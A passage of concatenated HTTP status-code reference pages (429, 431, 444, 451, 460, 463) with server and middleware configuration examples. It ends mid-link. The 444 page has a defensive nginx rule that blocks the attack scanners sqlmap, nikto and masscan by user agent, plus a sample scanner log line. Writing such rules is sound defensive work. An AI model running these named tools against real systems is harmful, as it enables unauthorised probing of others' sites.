### nginx ```nginx http { limit_req_zone $binary_remote_addr zone=api:10m rate=10r/s; limit_req_status 429; # default is 503 server { error_page 429 @rate_limited; location /api/ { limit_req zone=api burst=20 nodelay; proxy_pass http://app; } # Retry-After only on the rejection, not on every successful response location @rate_limited { default_type application/json; add_header Retry-After 1 always; return 429 '{"error":"rate_limited"}'; } } } ``` An illustrative rejection log contains `limiting requests, excess: 20.450 by zone "api", client: 203.0.113.9`. Use `limit_req_dry_run on;` to measure before enforcing. ### Cloudflare and API Gateway Cloudflare rate limiting rules (Security, Security rules) count requests per characteristic (IP, header, API key) and, with the default block response, return 429 with error 1015. Custom responses can change the page and status. API Gateway throttles with account and per-stage rate and burst limits, and usage plans per API key; raise them in the usage plan or request a quota increase. ## Algorithms in one table | Algorithm | Behavior | Trade-off | | --- | --- | --- | | Fixed window | N requests per calendar window | Allows 2N across a window boundary | | Sliding window | N requests in any trailing window | More state, smoother | | Token bucket | Refills at rate r, bursts up to bucket size | Allows bursts; API Gateway documents this algorithm | | Leaky bucket | Constant outflow rate | Queues or rejects bursts; nginx `limit_req` without `nodelay` | ## Related codes - [503 Service Unavailable](https://howhttpworks.com/status-codes/503): the server is overloaded or down, not throttling you specifically. - [403 Forbidden](https://howhttpworks.com/status-codes/403): blocked by policy (WAF, IP ban) rather than by rate. - [408 Request Timeout](https://howhttpworks.com/status-codes/408): the server gave up waiting on a slow client. --- # 431 Request Header Fields Too Large > The server refuses to process the request because header fields are too large. Learn how to handle and prevent 431 errors in your applications. Source: https://howhttpworks.com/status-codes/431 Last reviewed: 2026-10-04 > **TL;DR:** Request headers exceed server size limits (usually due to large cookies). Clear browser cookies or reduce custom headers to fix. ## What is 431 Request Header Fields Too Large? A **431 Request Header Fields Too Large** status code means the server is refusing to process your request because the HTTP headers are too large. Think of it like trying to stuff a package with an address label that's bigger than the package itself—the postal service would reject it because the overhead is unreasonable. This error typically occurs when cookies, authentication tokens, or custom headers accumulate to exceed the server's configured limits. ## When Does This Happen? You'll see a 431 Request Header Fields Too Large response in these common situations: **1. Excessive Cookies** ```text User has accumulated many cookies over time → Cookie header becomes massive (>8KB) → Server rejects request with 431 ``` **2. Large Authentication Tokens** ```text JWT token with many claims → Authorization header exceeds limit → Request rejected ``` **3. Too Many Custom Headers** ```text Application adds many tracking headers → Total header size exceeds server limit → 431 response returned ``` **4. Referrer URL Too Long** ```text Coming from page with very long URL → Referer header extremely large → Server refuses request ``` **5. Accumulated Session Data** ```text Session cookies grow over time → Multiple large cookies sent together → Total size exceeds limit ``` ## Example Responses **Basic 431 Response:** ```http HTTP/1.1 431 Request Header Fields Too Large Content-Type: text/html Content-Length: 247 Request Header Too Large

431 Request Header Fields Too Large

The request headers exceed the server's size limit.

Please clear your cookies and try again.

``` **Detailed JSON Response:** ```http HTTP/1.1 431 Request Header Fields Too Large Content-Type: application/json Content-Length: 312 { "error": "Request Header Fields Too Large", "message": "The total size of request headers exceeds the server limit", "details": { "max_header_size": "8192 bytes", "actual_size": "12456 bytes", "primary_culprit": "Cookie header (9234 bytes)" }, "suggestions": [ "Clear browser cookies", "Remove unnecessary custom headers", "Contact support if issue persists" ] } ``` **With Specific Guidance:** ```http HTTP/1.1 431 Request Header Fields Too Large Content-Type: application/json Retry-After: 300 { "error": "Request Header Fields Too Large", "message": "Your request headers are too large to process", "limit": { "max_total_headers": "8KB", "max_single_header": "4KB", "current_total_size": "10.2KB" }, "likely_causes": [ "Excessive cookies accumulated over time", "Large authentication token", "Too many tracking headers" ], "solutions": [ { "action": "Clear cookies", "instructions": "Delete cookies for this domain in browser settings" }, { "action": "Use shorter tokens", "instructions": "Request a new authentication token with fewer claims" }, { "action": "Reduce custom headers", "instructions": "Remove unnecessary X-* headers from request" } ] } ``` ## Real-World Example Imagine a user who has been browsing an e-commerce site for months and accumulated many cookies: **Request with Oversized Headers:** ```http GET /checkout HTTP/1.1 Host: shop.example.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)... Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Cookie: session_id=abc123; tracking_id=xyz789; preference_theme=dark; preference_language=en; preference_currency=USD; cart_item_1=product_123; cart_item_2=product_456; cart_item_3=product_789; recently_viewed_1=prod_111; recently_viewed_2=prod_222; recently_viewed_3=prod_333; recently_viewed_4=prod_444; recently_viewed_5=prod_555; analytics_session=long_token_here; ab_test_variant_homepage=B; ab_test_variant_checkout=A; ab_test_variant_product=C; consent_cookie=very_long_base64_encoded_consent_data_here; [... many more cookies totaling 10KB ...] Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyLCJyb2xlcyI6WyJ1c2VyIiwiYWRtaW4iLCJtb2RlcmF0b3IiXSwicGVybWlzc2lvbnMiOlsicmVhZCIsIndyaXRlIiwiZGVsZXRlIl19.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c X-Custom-Tracking: [large tracking data] X-Analytics-Session: [large analytics data] Referer: https://shop.example.com/products/category/subcategory/item?utm_source=email&utm_medium=newsletter&utm_campaign=spring_sale_2026&session_id=abc123&tracking_id=xyz789 ``` **431 Error Response:** ```http HTTP/1.1 431 Request Header Fields Too Large Content-Type: application/json Cache-Control: no-cache Content-Length: 567 { "error": "Request Header Fields Too Large", "message": "Your request headers exceed our 8KB limit", "analysis": { "total_header_size": "10.2 KB", "limit": "8 KB", "breakdown": { "Cookie": "8.1 KB", "Authorization": "1.2 KB", "Referer": "0.4 KB", "Other": "0.5 KB" } }, "recommendation": "Clear old cookies to resolve this issue", "instructions": { "chrome": "Settings > Privacy > Clear browsing data > Cookies", "firefox": "Preferences > Privacy > Clear Data > Cookies", "safari": "Preferences > Privacy > Manage Website Data > Remove All" }, "support_url": "https://shop.example.com/help/cookie-issues" } ``` ## 431 vs Other Size-Related Codes | Code | Meaning | What's Too Large | Solution | | ------- | ----------------------- | ---------------- | ----------------------------- | | **431** | Header fields too large | Request headers | Clear cookies, reduce headers | | **413** | Payload Too Large | Request body | Reduce body size, compress | | **414** | URI Too Long | Request URL | Shorten URL, use POST | | **507** | Insufficient Storage | Server storage | Server-side issue | ## Important Characteristics **Common Limits:** ```text nginx: each header line must fit one 8 KB buffer (large_client_header_buffers 4 8k); answers 400, not 431 Apache: 8,190 bytes per header field (LimitRequestFieldSize); answers 400 Node.js: 16 KiB for all headers together (--max-http-header-size); answers 431 AWS ALB: 16 KB per header, 64 KB total, not adjustable; answers 400 Cloudflare: 128 KB of request headers in total ``` Note that only some servers use 431 at all; nginx and Apache send `400`. The [Request Header Or Cookie Too Large guide](https://howhttpworks.com/debug/request-header-too-large) shows how to find which layer refused and which cookie grew. **Affects Entire Request:** ```http HTTP/1.1 431 Request Header Fields Too Large ↑ Request is rejected before processing No partial processing occurs ``` **Can Be Individual or Total:** - Some servers limit individual header size - Some limit total header size - Some limit both - Some limit number of headers ## Common Mistakes **❌ Not providing cookie clearing instructions** ```http HTTP/1.1 431 Request Header Fields Too Large Request Header Too Large ← Unhelpful for users ``` **❌ Accumulating unnecessary cookies** ```javascript // Bad: Adding cookies indefinitely app.use((req, res, next) => { res.cookie(`viewed_${Date.now()}`, productId) next() }) ``` **❌ Sending excessive custom headers** ```javascript // Bad: Too many tracking headers fetch('/api/data', { headers: { 'X-Tracking-1': data1, 'X-Tracking-2': data2, 'X-Tracking-3': data3 // ... 20 more headers } }) ``` **✅ Correct approach** ```javascript // Good: Clean up old cookies app.use((req, res, next) => { // Limit recently viewed items const maxItems = 5 const viewed = req.cookies.recently_viewed || [] if (viewed.length > maxItems) { res.cookie('recently_viewed', viewed.slice(0, maxItems)) } next() }) ``` ## Getting 431 Request Header Fields Too Large right **Implement Cookie Rotation:** ```javascript // Clean up old cookies automatically app.use((req, res, next) => { const cookieSize = JSON.stringify(req.cookies).length if (cookieSize > 4096) { // 4KB warning threshold // Clear old tracking cookies const trackingCookies = Object.keys(req.cookies).filter((key) => key.startsWith('tracking_')) trackingCookies.forEach((cookie) => { res.clearCookie(cookie) }) } next() }) ``` **Use Short-Lived Session Storage:** ```javascript // Store large data server-side, not in cookies app.post('/api/large-data', (req, res) => { const dataId = generateId(); // Store in Redis/database await redis.set(`data:${dataId}`, JSON.stringify(largeData), 'EX', 3600); // Send small reference in cookie res.cookie('data_ref', dataId, { maxAge: 3600000 }); res.json({ success: true }); }); ``` **Monitor Header Sizes:** ```javascript app.use((req, res, next) => { const headerSize = JSON.stringify(req.headers).length if (headerSize > 6144) { // 6KB warning console.warn(`Large headers detected: ${headerSize} bytes`) metrics.increment('large_headers') } if (headerSize > 8192) { // 8KB limit return res.status(431).json({ error: 'Request Header Fields Too Large', size: headerSize, limit: 8192, suggestion: 'Clear cookies and try again' }) } next() }) ``` **Provide Clear User Guidance:** ```javascript function handle431Error(req, res) { const headerSize = calculateHeaderSize(req) res.status(431).json({ error: 'Request Header Fields Too Large', details: { current_size: `${headerSize} bytes`, limit: '8192 bytes', largest_headers: getLargestHeaders(req) }, user_actions: [ { step: 1, action: 'Clear browser cookies', why: 'Old cookies are accumulating', how: getCookieClearInstructions(req.headers['user-agent']) }, { step: 2, action: 'Refresh the page', why: 'Retry with cleared cookies' } ], support: 'https://example.com/help/431-error' }) } ``` ## Implementation Examples **Express.js Middleware:** ```javascript const MAX_HEADER_SIZE = 8 * 1024 // 8KB app.use((req, res, next) => { const headerSize = Buffer.byteLength(JSON.stringify(req.headers)) if (headerSize > MAX_HEADER_SIZE) { return res.status(431).json({ error: 'Request Header Fields Too Large', message: `Headers size ${headerSize} exceeds limit ${MAX_HEADER_SIZE}`, solution: 'Clear cookies or reduce custom headers' }) } next() }) ``` **Nginx Configuration:** ```nginx http { # Increase header buffer size if needed large_client_header_buffers 4 16k; # Or return 431 for oversized headers client_header_buffer_size 8k; } ``` **Apache Configuration:** ```apache # Set maximum header size LimitRequestFieldSize 8190 # Set maximum number of headers LimitRequestFields 100 ``` **Node.js HTTP Server:** ```javascript const http = require('http') const server = http.createServer( { maxHeaderSize: 8192 // 8KB limit }, (req, res) => { // Handle request } ) server.on('clientError', (err, socket) => { if (err.code === 'HPE_HEADER_OVERFLOW') { socket.write('HTTP/1.1 431 Request Header Fields Too Large\r\n') socket.write('Content-Type: application/json\r\n\r\n') socket.write( JSON.stringify({ error: 'Request Header Fields Too Large', message: 'Headers exceed 8KB limit', solution: 'Clear cookies and retry' }) ) socket.end() } }) ``` ## Client-Side Prevention **Monitor Cookie Size:** ```javascript function setCookieSafely(name, value, options) { // Check total cookie size const currentCookieSize = document.cookie.length const newCookieSize = `${name}=${value}`.length if (currentCookieSize + newCookieSize > 4096) { console.warn('Cookie size approaching limit, clearing old cookies') // Clear old tracking cookies document.cookie.split(';').forEach((cookie) => { const name = cookie.split('=')[0].trim() if (name.startsWith('old_') || name.startsWith('temp_')) { document.cookie = `${name}=; expires=Thu, 01 Jan 1970 00:00:00 GMT` } }) } // Set the new cookie document.cookie = `${name}=${value}; ${options || ''}` } ``` **Handle 431 Gracefully:** ```javascript async function apiCall(url, options = {}) { try { const response = await fetch(url, options) if (response.status === 431) { // Clear cookies and retry console.warn('Headers too large, clearing cookies...') // Clear all cookies document.cookie.split(';').forEach((cookie) => { const name = cookie.split('=')[0].trim() document.cookie = `${name}=; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=/` }) // Retry request return fetch(url, options) } return response } catch (error) { console.error('API call failed:', error) throw error } } ``` ## Try It Yourself Visit our [request builder](https://howhttpworks.com/tools/playground) and see 431 in action: 1. Set method to **GET** 2. Set path to **/api/test** 3. Add many custom headers or large cookie values 4. Click **Send request** 5. Observe 431 response when headers exceed limit ## Try it with curl Send a very large `Cookie` header. Node's HTTP server rejects oversized headers with 431; nginx usually answers 400 with its own "Request Header Or Cookie Too Large" page instead, so the status you get depends on the server. ```bash curl -i https://api.example.com/ \ -H "Cookie: session=$(head -c 20000 /dev/zero | tr '\0' 'a')" ``` Example output (illustrative, not captured from a real server): ```http HTTP/1.1 431 Request Header Fields Too Large Connection: close ``` Shrink the `head -c` count until the request passes to find the limit. A real browser hits this when cookies pile up on a domain. ## Related Status Codes - [413 Payload Too Large](https://howhttpworks.com/status-codes/413) - Request body too large - [414 URI Too Long](https://howhttpworks.com/status-codes/414) - Request URL too long - [400 Bad Request](https://howhttpworks.com/status-codes/400) - General request error - [200 OK](https://howhttpworks.com/status-codes/200) - Successful request with acceptable headers --- # 444 Connection Closed Without Response (nginx) > nginx 444 closes the connection without sending any response. Learn how to use return 444 to drop bots and unknown hosts, and what clients see. Source: https://howhttpworks.com/status-codes/444 Last reviewed: 2026-10-04 > **TL;DR:** `return 444;` makes nginx close the TCP connection without sending any response. It is a cheap way to drop scanners and requests for hostnames you do not serve, and the client sees "Empty reply from server" or `ERR_EMPTY_RESPONSE`. ## What it means 444 is not a status code anyone receives. It is a signal inside nginx's `return` directive meaning "close the connection, say nothing". Because no response is written, there is no status line, no headers and no body. Access logs record 444 with a body size of 0: ```text 198.51.100.23 - - [04/Oct/2026:03:12:09 +0000] "GET /wp-login.php HTTP/1.1" 444 0 "-" "python-requests/2.32.3" ``` Compared to [403](https://howhttpworks.com/status-codes/403), the scanner learns less (no `Server` header, no error page) and nginx does slightly less work. Compared to letting the request time out, the socket is freed immediately. ## Common uses Drop requests for hostnames you do not serve. nginx picks a server block by `Host`; if nothing matches it uses the `default_server`. Make that block refuse everything: ```nginx server { listen 80 default_server; listen [::]:80 default_server; server_name _; return 444; } server { listen 443 ssl default_server; listen [::]:443 ssl default_server; server_name _; # Refuse the TLS handshake for unknown SNI (nginx 1.19.4+). # No certificate is needed in this block. ssl_reject_handshake on; } ``` Without `ssl_reject_handshake`, the HTTPS default server must present some certificate, which discloses a real hostname to anyone connecting by IP. With it, the handshake fails with an `unrecognized_name` alert instead. Drop obviously hostile requests: ```nginx map $http_user_agent $block_ua { default 0; ~*(sqlmap|nikto|masscan) 1; } server { # ... if ($block_ua) { return 444; } } ``` `if` containing only a `return` is one of the safe uses of that directive. ## What the client sees ```bash curl -i https://example.com/ -H 'Host: unknown.example.net' # curl: (52) Empty reply from server ``` Chrome shows `ERR_EMPTY_RESPONSE` ("didn't send any data"), Firefox shows "The connection was reset", and Node's `fetch` throws `TypeError: fetch failed` with a socket-closed cause. ## Gotchas - **Health checks.** A load balancer that probes by IP with no matching Host header hits your default server and gets nothing back. Point probes at a real server block, or add an explicit `location = /healthz` returning 200 in the default server. - **Monitoring blind spot.** Clients and CDNs that get an empty reply treat it as a connection failure, not an HTTP error. A CDN in front will typically report [502](https://howhttpworks.com/status-codes/502) or Cloudflare's [520](https://howhttpworks.com/status-codes/520). If legitimate traffic is being dropped by accident, that CDN error is how you will find out. - **Not a rate limiter.** `limit_req` and `limit_conn` return 503 by default (change it with `limit_req_status 429`). Use [429](https://howhttpworks.com/status-codes/429) when you want well-behaved clients to slow down. ## Related - [499 Client Closed Request](https://howhttpworks.com/status-codes/499): the other nginx log-only code, where the client closed first. - [403 Forbidden](https://howhttpworks.com/status-codes/403): an explicit refusal with a response. - [429 Too Many Requests](https://howhttpworks.com/status-codes/429): the polite way to throttle. - [502 Bad Gateway](https://howhttpworks.com/status-codes/502) - [ERR_EMPTY_RESPONSE](https://howhttpworks.com/debug/err-empty-response): what a browser shows for a 444, and how to tell it apart from a crash or a wrong port. --- # 451 Unavailable For Legal Reasons > The requested resource is unavailable due to legal demands. Learn about 451 status code used for censorship and content blocking. Source: https://howhttpworks.com/status-codes/451 Last reviewed: 2026-10-04 > **TL;DR:** Content blocked due to legal requirements like court orders, DMCA takedowns, or government censorship. Check the legal notice link for details. ## What is 451 Unavailable For Legal Reasons? A **451 Unavailable For Legal Reasons** status code indicates that the requested resource cannot be served due to legal restrictions, such as government censorship, court orders, or compliance with local regulations. The name is a reference to Ray Bradbury's novel "Fahrenheit 451" about censorship and book burning. Think of it like a library having to remove certain books due to a court order—the books existed and were accessible before, but legal requirements now prevent their distribution. ## When Does This Happen? You'll see a 451 Unavailable For Legal Reasons response in these situations: **1. Geographic Content Restrictions** ```text User accessing content from restricted region → DMCA takedown request honored → Content blocked with 451 response ``` **2. Government Censorship** ```text Content deemed illegal in specific country → Government mandates blocking → Returns 451 instead of content ``` **3. Court Orders** ```text Legal injunction against content → Platform legally required to block → 451 response with legal explanation ``` **4. Copyright Restrictions** ```text DMCA or copyright claim filed → Content removed pending review → 451 with takedown notice reference ``` **5. Privacy Regulation Compliance** ```text GDPR "right to be forgotten" request → Content must be delisted → 451 with regulatory reference ``` ## Example Responses **Basic 451 Response:** ```http HTTP/1.1 451 Unavailable For Legal Reasons Content-Type: text/html Link: ; rel="blocked-by" Content-Length: 324 Content Unavailable

451: Unavailable For Legal Reasons

This content is not available due to legal restrictions.

For more information, see our legal notice.

``` **Geographic Restriction:** ```http HTTP/1.1 451 Unavailable For Legal Reasons Content-Type: application/json Link: ; rel="blocked-by" Vary: CF-IPCountry { "error": "Unavailable For Legal Reasons", "message": "This content is not available in your region due to legal restrictions", "details": { "reason": "Geographic licensing restrictions", "your_location": "DE", "blocked_in": ["DE", "FR", "IT"], "available_in": ["US", "CA", "GB"] }, "legal_reference": "https://example.com/legal/geo-restrictions", "contact": "legal@example.com" } ``` **DMCA Takedown:** ```http HTTP/1.1 451 Unavailable For Legal Reasons Content-Type: application/json Link: ; rel="blocked-by" { "error": "Unavailable For Legal Reasons", "message": "This content has been removed in response to a legal request", "details": { "reason": "DMCA Takedown Notice", "notice_id": "DMCA-2026-001234", "date_removed": "2026-01-15", "complainant": "Copyright Holder Inc.", "legal_basis": "17 U.S.C. § 512(c)" }, "transparency": { "notice_url": "https://lumendatabase.org/notices/12345", "counter_notice_info": "https://example.com/dmca/counter-notice" }, "contact": { "email": "dmca@example.com", "form": "https://example.com/legal/counter-notice-form" } } ``` **Government Censorship:** ```http HTTP/1.1 451 Unavailable For Legal Reasons Content-Type: text/html Link: ; rel="blocked-by" Content Blocked

451: Unavailable For Legal Reasons

This content is unavailable in your jurisdiction due to a government blocking order.

Transparency Report

View our transparency report for more information about legal requests.

Disagree with this blocking?

Contact the blocking authority or seek legal advice.

``` ## Real-World Example Imagine a video platform receiving a DMCA copyright complaint: **User Request:** ```http GET /videos/funny-cat-compilation HTTP/1.1 Host: videos.example.com User-Agent: Mozilla/5.0... Accept: text/html,application/xhtml+xml Cookie: session=abc123 ``` **451 DMCA Response:** ```http HTTP/1.1 451 Unavailable For Legal Reasons Content-Type: text/html; charset=utf-8 Link: ; rel="blocked-by" Cache-Control: no-cache Content-Length: 1456 Video Unavailable - Copyright Claim

🚫 Video Unavailable

451: Unavailable For Legal Reasons

This video has been removed in response to a copyright claim.

What does this mean?

A copyright holder has submitted a legal complaint claiming this video contains their copyrighted material. Under the Digital Millennium Copyright Act (DMCA), we are required to remove the content.

If you believe this is a mistake

If you are the video uploader and believe this claim is incorrect, you can:

  1. Review the full copyright notice
  2. Submit a DMCA counter-notice if you have rights to this content
  3. Contact our legal team at dmca@videos.example.com

Learn More

``` ## 451 vs Other Error Codes | Code | Meaning | Reason | Can Appeal | | ------- | ----------------- | ------------------------------- | ------------------------- | | **451** | Legal restriction | Court order, law, regulation | Possibly (counter-notice) | | **403** | Forbidden | Access denied by policy | Depends on policy | | **404** | Not Found | Resource doesn't exist | No (doesn't exist) | | **410** | Gone | Permanently removed (not legal) | No | ## Important Characteristics **Transparency Requirement:** ```http Link: ; rel="blocked-by" ↑ Should reference the legal basis for blocking ``` **Geographic Awareness:** ```http HTTP/1.1 451 Unavailable For Legal Reasons Vary: CF-IPCountry ← May vary by location Content blocked in: DE, FR Content available in: US, GB ``` **Reversible (Sometimes):** - DMCA counter-notices can restore content - Court orders may be lifted - Geographic restrictions may change - Different from 410 Gone (permanent) **Named After Literature:** - Reference to "Fahrenheit 451" by Ray Bradbury - Highlights censorship concerns - Emphasizes free speech issues ## Common Mistakes **❌ Using 403 instead of 451** ```http HTTP/1.1 403 Forbidden ← Implies policy violation Should be: 451 Unavailable For Legal Reasons ← Legal requirement ``` **❌ No legal reference** ```http HTTP/1.1 451 Unavailable For Legal Reasons Content blocked. ← Doesn't explain why or legal basis ``` **❌ Fake legal blocks** ```http HTTP/1.1 451 Unavailable For Legal Reasons ← Used for business reasons, not actual legal requirements ``` **✅ Correct usage** ```http HTTP/1.1 451 Unavailable For Legal Reasons Link: ; rel="blocked-by" { "error": "Unavailable For Legal Reasons", "legal_notice": "https://example.com/legal/notice-123", "reason": "DMCA Takedown", "contact": "dmca@example.com" } ``` ## Getting 451 Unavailable For Legal Reasons right **Provide Transparency:** ```javascript app.get('/content/:id', async (req, res) => { const content = await db.getContent(req.params.id) if (content.legalBlock) { return res.status(451).set('Link', `<${content.legalNoticeUrl}>; rel="blocked-by"`).json({ error: 'Unavailable For Legal Reasons', reason: content.blockReason, legal_notice: content.legalNoticeUrl, transparency_report: '/transparency/2026', contact: 'legal@example.com', date_blocked: content.blockDate }) } res.json(content) }) ``` **Respect Geographic Restrictions:** ```javascript const blockedCountries = ['DE', 'FR', 'IT'] app.get('/video/:id', (req, res) => { const userCountry = req.headers['cf-ipcountry'] || geoip.lookup(req.ip)?.country if (blockedCountries.includes(userCountry)) { return res.status(451).json({ error: 'Unavailable For Legal Reasons', message: 'This content is not available in your region', your_location: userCountry, reason: 'Geographic licensing restrictions', legal_reference: '/legal/geo-restrictions' }) } // Serve content... }) ``` **Maintain Transparency Reports:** ```javascript // Track all 451 responses for transparency app.use((req, res, next) => { const originalStatus = res.status.bind(res) res.status = function (code) { if (code === 451) { // Log for transparency report transparencyLog.record({ url: req.url, date: new Date(), reason: res.locals.blockReason, country: req.headers['cf-ipcountry'], legal_reference: res.locals.legalReference }) } return originalStatus(code) } next() }) ``` **Allow Counter-Notices:** ```javascript app.post('/legal/counter-notice', async (req, res) => { const { contentId, name, email, statement, signature } = req.body // Record counter-notice await db.createCounterNotice({ contentId, submitter: { name, email }, statement, signature, date: new Date() }) // Notify legal team await notifyLegalTeam({ type: 'dmca-counter-notice', contentId, details: req.body }) res.json({ success: true, message: 'Counter-notice received', next_steps: 'We will review within 10 business days', reference_id: counterNoticeId }) }) ``` ## Implementation Examples **Express.js with Geographic Blocking:** ```javascript const geoip = require('geoip-lite') const geoBlockedContent = { '/movie/123': ['CN', 'RU', 'IR'], '/video/456': ['KP'] } app.use((req, res, next) => { const geo = geoip.lookup(req.ip) const blockedCountries = geoBlockedContent[req.path] if (blockedCountries?.includes(geo?.country)) { return res.status(451).set('Link', '; rel="blocked-by"').json({ error: 'Unavailable For Legal Reasons', reason: 'Geographic restriction', your_country: geo.country, legal_reference: '/legal/geo-block' }) } next() }) ``` **Django:** ```python from django.http import JsonResponse from django.views import View import geoip2.database class LegallyBlockedView(View): def get(self, request, content_id): content = Content.objects.get(id=content_id) if content.is_blocked: response = JsonResponse({ 'error': 'Unavailable For Legal Reasons', 'reason': content.block_reason, 'legal_notice': content.legal_notice_url, 'date_blocked': content.block_date.isoformat(), 'contact': 'legal@example.com' }, status=451) response['Link'] = f'<{content.legal_notice_url}>; rel="blocked-by"' return response return JsonResponse({'content': content.data}) ``` **Nginx (Geographic Blocking):** ```nginx geo $blocked_country { default 0; CN 1; # China RU 1; # Russia IR 1; # Iran } server { location /restricted-content { if ($blocked_country) { return 451; } # Serve content... } error_page 451 /451.html; location = /451.html { internal; add_header Link '; rel="blocked-by"'; root /usr/share/nginx/html; } } ``` ## Transparency and Ethics **Maintain Public Records:** ```javascript // Publish transparency reports app.get('/transparency/2026', async (req, res) => { const report = await db.getTransparencyReport(2026) res.json({ year: 2026, total_requests: report.totalRequests, by_type: { dmca: report.dmcaCount, government: report.governmentCount, court_order: report.courtOrderCount }, by_country: report.byCountry, compliance_rate: report.complianceRate, appeals: { submitted: report.appeals.submitted, successful: report.appeals.successful } }) }) ``` ## Try It Yourself Visit our [request builder](https://howhttpworks.com/tools/playground) and see 451 in action: 1. Set method to **GET** 2. Set path to **/legal-blocked-demo** 3. Optionally set **X-Country** header to test geo-blocking 4. Click **Send request** 5. Observe 451 response with legal notice ## Try it with curl ```bash curl -i https://www.example.com/blocked-page ``` Example output (illustrative, not captured from a real server): ```http HTTP/2 451 link: ; rel="blocked-by" content-type: text/html ``` RFC 7725 says the response should explain the legal demand in the body. `Link: rel="blocked-by"` is optional and identifies the entity that implemented the block, which is not necessarily the one that demanded it. Compare the result from a different network or region to confirm it is geographic. ## Related Status Codes - [403 Forbidden](https://howhttpworks.com/status-codes/403) - Access denied (policy, not legal) - [404 Not Found](https://howhttpworks.com/status-codes/404) - Resource doesn't exist - [410 Gone](https://howhttpworks.com/status-codes/410) - Permanently removed (not legal reason) - [200 OK](https://howhttpworks.com/status-codes/200) - Successful request (content available) --- # 460 Client Closed Connection (AWS ALB) > An AWS ALB 460 means the client disconnected before the load balancer idle timeout. Confirm it in access logs, then compare client and target timings. Source: https://howhttpworks.com/status-codes/460 Last reviewed: 2026-10-05 > **TL;DR:** A 460 in your AWS Application Load Balancer logs means the client hung up before your backend answered, usually because the client's own timeout is shorter than your slow endpoint. Speed up the target or raise the client's timeout. Raising the ALB idle timeout won't help, since the client gave up first. ## What it means 460 is an AWS ALB code, not a standard HTTP status. "Client Closed Connection" is a descriptive label here; [AWS documents the numeric code](https://docs.aws.amazon.com/elasticloadbalancing/latest/application/load-balancer-troubleshooting.html#http-460-errors) without a reason phrase. You'll only ever see it in logs: the client has already disconnected, so no response with this code reaches it. First figure out who is directly in front of the ALB. If it's another proxy, its timeout matters as much as the end user's. Sketch the real request path before you touch any timeouts. ## Confirm it in access logs Filter ALB access logs on `elb_status_code = 460`. That field is the load balancer's status. `target_status_code` holds the target's response code, or `-` when no target response was recorded. Even with a `-` there, the application may have started the work, or even finished it. See [AWS's field definitions](https://docs.aws.amazon.com/elasticloadbalancing/latest/application/load-balancer-access-logs.html). Match the timestamp, URL, and client against the caller's logs. Note when the caller started, when it cancelled, and when the target finished. Then check the ALB's configured idle timeout with this read-only AWS CLI call, after setting `ALB_ARN` to your load balancer's ARN: ```bash aws elbv2 describe-load-balancer-attributes \ --load-balancer-arn "$ALB_ARN" \ --query "Attributes[?Key=='idle_timeout.timeout_seconds']" ``` The [default is 60 seconds](https://docs.aws.amazon.com/elasticloadbalancing/latest/application/application-load-balancers.html#load-balancer-attributes), but compare against whatever your deployment actually uses. ## Fix it If the cancellations line up with the client's configured timeout, you have two options: make the target finish sooner, or raise that client timeout if the caller can afford to wait. AWS specifically recommends checking the client timeout against the ALB idle timeout. After the change, retest the slow endpoint with the same caller. If the caller cancelled on purpose, such as a user navigating away or a script aborting, find out why before you change any configuration. For requests that modify state, check whether the operation went through before retrying. The client disconnecting doesn't roll anything back on the server. ## Do not confuse it with an ALB idle timeout When the target doesn't respond before the ALB idle timeout, AWS logs a [504](https://howhttpworks.com/status-codes/504) instead. That's a different investigation from a 460. The question is who stopped waiting first: the client (460) or the ALB (504). The access log tells you which. ## Related - [499 Client Closed Request](https://howhttpworks.com/status-codes/499) - [408 Request Timeout](https://howhttpworks.com/status-codes/408) - [504 Gateway Timeout](https://howhttpworks.com/status-codes/504) --- # 463 Too Many Forwarded IP Addresses (AWS ALB) > AWS ALB 463 rejects an X-Forwarded-For header with more than 30 IP addresses. Trace proxy appends and correct the forwarding chain at a trusted ingress. Source: https://howhttpworks.com/status-codes/463 Last reviewed: 2026-10-05 > **TL;DR:** An AWS Application Load Balancer returns 463 when the incoming `X-Forwarded-For` header lists more than 30 IP addresses. It's a count limit, not a size limit, so raising header buffers won't help. Count the entries, find the hop that keeps appending, and fix forwarding there. ## What it means 463 isn't a standard HTTP status; it's specific to AWS. "Too Many Forwarded IP Addresses" describes the condition, and [AWS documents it as HTTP 463](https://docs.aws.amazon.com/elasticloadbalancing/latest/application/load-balancer-troubleshooting.html#http-463-errors). The ALB rejects any request whose incoming `X-Forwarded-For` carries more than 30 addresses. Because the limit is on the number of addresses, the header's length in bytes tells you little. If you're tuning header sizes, you're debugging a different problem: [431 Request Header Fields Too Large](https://howhttpworks.com/status-codes/431). ## Confirm which hop rejected it Search the [ALB access logs](https://docs.aws.amazon.com/elasticloadbalancing/latest/application/load-balancer-access-logs.html) for `elb_status_code = 463`. Check `target_status_code` too: a `-` means the log recorded no response from a connected target, which is what you'd expect when the ALB itself refused the request. Then use the timestamp and URL to find the same request at the proxy sitting just in front of the ALB. At that trusted hop, capture the incoming `X-Forwarded-For` value. Count the comma-separated addresses and compare the value before and after each proxy to see where the list grows. Keep these client addresses out of public tickets. Here's a header fragment (an example, not a captured ALB request): ```http X-Forwarded-For: 192.0.2.10, 198.51.100.20, 203.0.113.30 ``` That's three entries. Count the failing request the same way; the number of proxies you meant to deploy and the number that actually touched the request are often different. ## Fix the forwarding chain Walk each proxy's forwarding rule. The usual suspects are a value copied twice, a loop that sends traffic through the same proxy more than once, or an entry point that keeps whatever chain the client sent. Treat these as hypotheses and check each against the captured header; a 463 on its own doesn't tell you which one you have. At your public ingress, decide which upstream proxies you trust and build the forwarded chain from that policy. Inside the trusted path, pass the legitimate chain along without duplicating it. After you change a hop, retest through the whole path. The ALB has [its own header handling](https://docs.aws.amazon.com/elasticloadbalancing/latest/application/x-forwarded-headers.html): `routing.http.xff_header_processing.mode` accepts `append`, `preserve` or `remove`, and defaults to `append`. That setting controls what the ALB forwards to your targets. AWS doesn't describe it as a way around the 30-address limit on the incoming header, so fix the upstream chain rather than counting on a mode change. ## Related - [X-Forwarded-For](https://howhttpworks.com/headers/x-forwarded-for) - [431 Request Header Fields Too 